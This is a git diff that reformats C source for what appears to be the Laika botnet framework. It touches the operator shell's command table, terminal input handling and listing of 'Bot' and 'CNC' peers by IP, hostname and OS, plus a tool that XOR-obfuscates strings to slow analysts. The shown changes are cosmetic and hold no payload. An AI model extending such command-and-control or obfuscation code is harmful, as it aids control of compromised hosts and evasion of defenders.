buf[LAIKA_SHELL_DATA_MAX_LENGTH]; tShell_peer *peer; int id, sz, cols, rows; @@ -112,7 +120,8 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) { /* =====================================[[ Command Table ]]===================================== */ -#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback}) +#define CREATECMD(_cmd, _syntax, _help, _callback) \ + ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback}) tShell_cmdDef shellS_cmds[] = { CREATECMD("help", "help", "Lists avaliable commands", helpCMD), @@ -124,11 +133,12 @@ tShell_cmdDef shellS_cmds[] = { #undef CREATECMD -tShell_cmdDef *shellS_findCmd(char *cmd) { +tShell_cmdDef *shellS_findCmd(char *cmd) +{ int i; /* TODO: make a hashmap for command lookup */ - for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { + for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) { if (strcmp(shellS_cmds[i].cmd, cmd) == 0) return &shellS_cmds[i]; /* cmd found */ } @@ -136,24 +146,32 @@ tShell_cmdDef *shellS_findCmd(char *cmd) { return NULL; } -void helpCMD(tShell_client *client, int argc, char *argv[]) { +void helpCMD(tShell_client *client, int argc, char *argv[]) +{ int i; - shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); - for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { - shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help); + shellT_printf("======= [[ %sCommand List%s ]] =======\n", + shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); + + for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) { + shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), + shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), + shellS_cmds[i].help); } } -void shellS_initCmds(void) { +void shellS_initCmds(void) +{ /* stubbed for now, TODO: setup command hashmap */ } -void shellS_cleanupCmds(void) { +void shellS_cleanupCmds(void) +{ /* stubbed for now, TODO: free command hashmap */ } -char **shellS_splitCmd(char *cmd, int *argSize) { +char **shellS_splitCmd(char *cmd, int *argSize) +{ int argCount = 0; int argCap = 4; char *temp; @@ -165,7 +183,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) { if (arg != cmd) { if (arg[-1] == '\\') { /* space is part of the argument */ /* remove the '\' character */ - for (temp = arg-1; *temp != '\0'; temp++) { + for (temp = arg - 1; *temp != '\0'; temp++) { temp[0] = temp[1]; } arg++; @@ -175,7 +193,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) { } /* insert into our 'args' array */ - laikaM_growarray(char*, args, 1, argCount, argCap); + laikaM_growarray(char *, args, 1, argCount, argCap); args[argCount++] = arg; } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */ @@ -183,7 +201,8 @@ char **shellS_splitCmd(char *cmd, int *argSize) { return args; } -void shellS_runCmd(tShell_client *client, char *cmd) { +void shellS_runCmd(tShell_client *client, char *cmd) +{ tShell_cmdDef *cmdDef; char **argc; int args; diff --git a/shell/src/speer.c b/shell/src/speer.c index 06d31f3..677d1c9 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -1,10 +1,13 @@ +#include "speer.h" + #include "lmem.h" #include "lpacket.h" -#include "speer.h" #include "sterm.h" -tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) { - tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer)); +tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, + char *inet, char *ipStr) +{ + tShell_peer *peer = (tShell_peer *)laikaM_malloc(sizeof(tShell_peer)); peer->type = type; peer->osType = osType; @@ -17,37 +20,50 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN); /* restore NULL terminators */ - peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; - peer->inet[LAIKA_INET_LEN-1] = '\0'; - peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0'; + peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0'; + peer->inet[LAIKA_INET_LEN - 1] = '\0'; + peer->ipStr[LAIKA_IPSTR_LEN - 1] = '\0'; return peer; } -void shellP_freePeer(tShell_peer *peer) { +void shellP_freePeer(tShell_peer *peer) +{ laikaM_free(peer); } -char *shellP_typeStr(tShell_peer *peer) { +char *shellP_typeStr(tShell_peer *peer) +{ switch (peer->type) { - case PEER_BOT: return "Bot"; - case PEER_CNC: return "CNC"; - case PEER_AUTH: return "Auth"; - default: return "err"; + case PEER_BOT: + return "Bot"; + case PEER_CNC: + return "CNC"; + case PEER_AUTH: + return "Auth"; + default: + return "err"; } } -char *shellP_osTypeStr(tShell_peer *peer) { +char *shellP_osTypeStr(tShell_peer *peer) +{ switch (peer->osType) { - case OS_WIN: return "Windows"; - case OS_LIN: return "Linux"; - default: return "unkn"; + case OS_WIN: + return "Windows"; + case OS_LIN: + return "Linux"; + default: + return "unkn"; } } -void shellP_printInfo(tShell_peer *peer) { - char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ +void shellP_printInfo(tShell_peer *peer) +{ + char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and + doesn't break anything (ie doesn't write outside the buffer) */ sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); - shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); + shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, + shellP_osTypeStr(peer), peer->inet, buf); } \ No newline at end of file diff --git a/shell/src/sterm.c b/shell/src/sterm.c index 611a9e8..d9c8118 100644 --- a/shell/src/sterm.c +++ b/shell/src/sterm.c @@ -1,24 +1,26 @@ -#include "lmem.h" -#include "scmd.h" #include "sterm.h" -#define KEY_ESCAPE 0x001b -#define KEY_ENTER 0x000a -#define KEY_BACKSPACE 0x007f -#define KEY_UP 0x0105 -#define KEY_DOWN 0x0106 -#define KEY_LEFT 0x0107 -#define KEY_RIGHT 0x0108 +#include "lmem.h" +#include "scmd.h" -#define cursorForward(x) printf("\033[%dC", (x)) +#define KEY_ESCAPE 0x001b +#define KEY_ENTER 0x000a +#define KEY_BACKSPACE 0x007f +#define KEY_UP 0x0105 +#define KEY_DOWN 0x0106 +#define KEY_LEFT 0x0107 +#define KEY_RIGHT 0x0108 + +#define cursorForward(x) printf("\033[%dC", (x)) #define cursorBackward(x) printf("\033[%dD", (x)) -#define clearLine() printf("\033[2K") +#define clearLine() printf("\033[2K") struct termios orig_termios; char *cmd, *prompt = "$> "; int cmdCount = 0, cmdCap = 4, cmdCursor = 0; -void shellT_conioTerm(void) { +void shellT_conioTerm(void) +{ struct termios new_termios; /* take two copies - one for now, one for later */ @@ -31,43 +33,80 @@ void shellT_conioTerm(void) { tcsetattr(STDIN_FILENO, TCSANOW, &new_termios); } -void shellT_resetTerm(void) { +void shellT_resetTerm(void) +{ tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); } -const char *shellT_getForeColor(TERM_COLOR col) { +const char *shellT_getForeColor(TERM_COLOR col) +{ switch (col) { - case TERM_BLACK: return "\033[30m"; break; - case TERM_RED: return "\033[31m"; break; - case TERM_GREEN: return "\033[32m"; break; - case TERM_YELLOW: return "\033[33m"; break; - case TERM_BLUE: return "\033[34m"; break; - case TERM_MAGENTA: return "\033[35m"; break; - case TERM_CYAN: return "\033[36m"; break; - case TERM_WHITE: return "\033[37m"; break; - case TERM_BRIGHT_BLACK: return "\033[90m"; break; - case TERM_BRIGHT_RED: return "\033[91m"; break; - case TERM_BRIGHT_GREEN: return "\033[92m"; break; - case TERM_BRIGHT_YELLOW: return "\033[93m"; break; - case TERM_BRIGHT_BLUE: return "\033[94m"; break; - case TERM_BRIGHT_MAGENTA: return "\033[95m"; break; - case TERM_BRIGHT_CYAN: return "\033[96m"; break; - case TERM_BRIGHT_WHITE: default: return "\033[97m"; break; + case TERM_BLACK: + return "\033[30m"; + break; + case TERM_RED: + return "\033[31m"; + break; + case TERM_GREEN: + return "\033[32m"; + break; + case TERM_YELLOW: + return "\033[33m"; + break; + case TERM_BLUE: + return "\033[34m"; + break; + case TERM_MAGENTA: + return "\033[35m"; + break; + case TERM_CYAN: + return "\033[36m"; + break; + case TERM_WHITE: + return "\033[37m"; + break; + case TERM_BRIGHT_BLACK: + return "\033[90m"; + break; + case TERM_BRIGHT_RED: + return "\033[91m"; + break; + case TERM_BRIGHT_GREEN: + return "\033[92m"; + break; + case TERM_BRIGHT_YELLOW: + return "\033[93m"; + break; + case TERM_BRIGHT_BLUE: + return "\033[94m"; + break; + case TERM_BRIGHT_MAGENTA: + return "\033[95m"; + break; + case TERM_BRIGHT_CYAN: + return "\033[96m"; + break; + case TERM_BRIGHT_WHITE: + default: + return "\033[97m"; + break; } } -void shellT_printf(const char *format, ...) { +void shellT_printf(const char *format, ...) +{ va_list args; va_start(args, format); vprintf(format, args); va_end(args); - + fflush(stdout); } /* waits for input for timeout. returns true if input is ready to be read, false if no events */ -bool shellT_waitForInput(int timeout) { +bool shellT_waitForInput(int timeout) +{ struct timeval tv; fd_set fds; @@ -81,16 +120,19 @@ bool shellT_waitForInput(int timeout) { return select(1, &fds, NULL, NULL, &tv) > 0; } -int shellT_readRawInput(uint8_t *buf, size_t max) { +int shellT_readRawInput(uint8_t *buf, size_t max) +{ return read(STDIN_FILENO, buf, max); } -void shellT_writeRawOutput(uint8_t *buf, size_t sz) { +void shellT_writeRawOutput(uint8_t *buf, size_t sz) +{ write(STDOUT_FILENO, buf, sz); fflush(stdout); } -void shellT_getTermSize(int *col, int *row) { +void shellT_getTermSize(int *col, int *row) +{ struct winsize ws; ioctl(STDIN_FILENO, TIOCGWINSZ, &ws); @@ -98,18 +140,20 @@ void shellT_getTermSize(int *col, int *row) { *row = ws.ws_row; } -char shellT_getch(void) { +char shellT_getch(void) +{ int r; char in; - if ((r = shellT_readRawInput((uint8_t*)&in, 1)) > 0) { + if ((r = shellT_readRawInput((uint8_t *)&in, 1)) > 0) { return in; } else { return r; } } -int shellT_kbesc(void) { +int shellT_kbesc(void) +{ int c; /* if no event waiting, it's KEY_ESCAPE */ @@ -118,11 +162,21 @@ int shellT_kbesc(void) { if ((c = shellT_getch()) == '[') { switch (shellT_getch()) { - case 'A': c = KEY_UP; break; - case 'B': c = KEY_DOWN; break; - case 'C': c = KEY_RIGHT; break; - case 'D': c = KEY_LEFT; break; - default: c = 0; break; + case 'A': + c = KEY_UP; + break; + case 'B': + c = KEY_DOWN; + break; + case 'C': + c = KEY_RIGHT; + break; + case 'D': + c = KEY_LEFT; + break; + default: + c = 0; + break; } } else { c = 0; @@ -130,76 +184,85 @@ int shellT_kbesc(void) { /* unrecognized key? consume until there's no event */ if (c == 0) { - while (shellT_waitForInput(0)) shellT_getch(); + while (shellT_waitForInput(0)) + shellT_getch(); } return c; } -int shellT_kbget(void) { +int shellT_kbget(void) +{ char c = shellT_getch(); return (c == KEY_ESCAPE) ? shellT_kbesc() : c; } -void shellT_printPrompt(void) { +void shellT_printPrompt(void) +{ clearLine(); shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : "")); if (cmdCount > cmdCursor) - cursorBackward(cmdCount-cmdCursor); + cursorBackward(cmdCount - cmdCursor); fflush(stdout); } -void shellT_setPrompt(char *_prompt) { +void shellT_setPrompt(char *_prompt) +{ prompt = _prompt; } -bool isAscii(int c) { - return c >= ' ' && c <= '~'; /* covers every non-controller related ascii characters (ignoring the extended character range) */ +/* covers every non-controller related ascii characters (ignoring the extended character range) */ +bool isAscii(int c) +{ + return c >= ' ' && c <= '~'; } -void shellT_addChar(tShell_client *client, int c) { +void shellT_addChar(tShell_client *client, int c) +{ int i; switch (c) { - case KEY_BACKSPACE: - if (cmdCursor > 0) { - laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1); - cmdCursor--; - shellT_printPrompt(); - } - break; - case KEY_LEFT: - if (cmdCursor > 0) { - cursorBackward(1); - --cmdCursor; - fflush(stdout); - } - break; - case KEY_RIGHT: - if (cmdCursor < cmdCount) { - cursorForward(1); - cmdCursor++; - fflush(stdout); - } - break; - case KEY_ENTER: - if (cmdCount > 0) { - cmd[cmdCount] = '\0'; - cmdCount = 0; - cmdCursor = 0; - shellS_runCmd(client, cmd); - shellT_printPrompt(); - } - break; - case KEY_UP: case KEY_DOWN: break; /* ignore these */ - default: - /* we only want to accept valid input, just ignore non-ascii characters */ - if (!isAscii(c)) - return; - - laikaM_growarray(char, cmd, 1, cmdCount, cmdCap); - laikaM_insertarray(cmd, cmdCount, cmdCursor, 1); - cmd[cmdCursor++] = c; + case KEY_BACKSPACE: + if (cmdCursor > 0) { + laikaM_rmvarray(cmd, cmdCount, (cmdCursor - 1), 1); + cmdCursor--; shellT_printPrompt(); + } + break; + case KEY_LEFT: + if (cmdCursor > 0) { + cursorBackward(1); + --cmdCursor; + fflush(stdout); + } + break; + case KEY_RIGHT: + if (cmdCursor < cmdCount) { + cursorForward(1); + cmdCursor++; + fflush(stdout); + } + break; + case KEY_ENTER: + if (cmdCount > 0) { + cmd[cmdCount] = '\0'; + cmdCount = 0; + cmdCursor = 0; + shellS_runCmd(client, cmd); + shellT_printPrompt(); + } + break; + case KEY_UP: + case KEY_DOWN: + break; /* ignore these */ + default: + /* we only want to accept valid input, just ignore non-ascii characters */ + if (!isAscii(c)) + return; + + laikaM_growarray(char, cmd, 1, cmdCount, cmdCap); + laikaM_insertarray(cmd, cmdCount, cmdCursor, 1); + cmd[cmdCursor++] = c; + shellT_printPrompt(); } } \ No newline at end of file diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c index 02ee602..09c9607 100644 --- a/tools/genkey/src/main.c +++ b/tools/genkey/src/main.c @@ -1,10 +1,11 @@ -#include -#include - #include "lerror.h" #include "lsodium.h" -int main(int argv, char **argc) { +#include +#include + +int main(int argv, char **argc) +{ unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; char buf[256]; diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c index 1c4ea33..b928e5d 100644 --- a/tools/vmboxgen/src/main.c +++ b/tools/vmboxgen/src/main.c @@ -1,38 +1,46 @@ +#include "lconfig.h" + +#include #include #include #include #include -#include -#include "lconfig.h" - -#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0); +#define ERR(...) \ + do { \ + printf(__VA_ARGS__); \ + exit(EXIT_FAILURE); \ + } while (0); #define RANDBYTE (rand() % UINT8_MAX) -static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n"; +static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c " + "*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n"; static const char *POSTAMBLE = "\n#endif\n"; -void writeArray(FILE *out, uint8_t *data, int sz) { +void writeArray(FILE *out, uint8_t *data, int sz) +{ int i; fprintf(out, "{"); - for (i = 0; i < sz-1; i++) { + for (i = 0; i < sz - 1; i++) { fprintf(out, "0x%02x, ", data[i]); } - fprintf(out, "0x%02x};\n", data[sz-1]); + fprintf(out, "0x%02x};\n", data[sz - 1]); } -void writeDefineArray(FILE *out, char *ident, uint8_t *data) { +void writeDefineArray(FILE *out, char *ident, uint8_t *data) +{ fprintf(out, "#define %s ", ident); writeArray(out, data, LAIKA_VM_CODESIZE); } - -void writeDefineVal(FILE *out, char *ident, int data) { +void writeDefineVal(FILE *out, char *ident, int data) +{ fprintf(out, "#define %s 0x%02x\n", ident, data); } -void addPadding(uint8_t *data, int start) { +void addPadding(uint8_t *data, int start) +{ int i; /* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */ @@ -41,7 +49,8 @@ void addPadding(uint8_t *data, int start) { } } -void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { +void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) +{ int i; for (i = 0; i < sz; i++) @@ -51,13 +60,14 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { addPadding(buff, i); } -#define MAKESKIDDATA(macro) \ - key = RANDBYTE; \ - makeSKIDdata(macro, strlen(macro), tmpBuff, key); \ - writeDefineVal(out, "KEY_" #macro, key); \ +#define MAKESKIDDATA(macro) \ + key = RANDBYTE; \ + makeSKIDdata(macro, strlen(macro), tmpBuff, key); \ + writeDefineVal(out, "KEY_" #macro, key); \ writeDefineArray(out, "DATA_" #macro, tmpBuff); -int main(int argv, char **argc) { +int main(int argv, char **argc) +{ uint8_t tmpBuff[LAIKA_VM_CODESIZE]; int key; FILE *out; @@ -68,7 +78,8 @@ int main(int argv, char **argc) { if ((out = fopen(argc[1], "w+")) == NULL) ERR("Failed to open %s!\n", argc[1]); - srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */ + srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to + slow them down */ fprintf(out, PREAMBLE); /* shared */ diff --git a/tools/vmtest/src/main.c b/tools/vmtest/src/main.c index af8c724..c5e3d18 100644 --- a/tools/vmtest/src/main.c +++ b/tools/vmtest/src/main.c @@ -1,12 +1,14 @@ +#include "lbox.h" +#include "lvm.h" + #include #include -#include "lvm.h" -#include "lbox.h" - /* VM BOX Demo: A secret message has been xor'd, the BOX_SKID is used to decode the message. -*/ +*/ + +/* clang-format off */ #define VMTEST_STR_DATA { \ 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \ @@ -14,8 +16,11 @@ 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \ }; -int main(int argv, char **argc) { - LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA) +/* clang-format on */ + +int main(int argv, char **argc) +{ + LAIKA_BOX_STARTVAR(char *, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA) printf("%s\n", str); LAIKA_BOX_ENDVAR(str) return 0;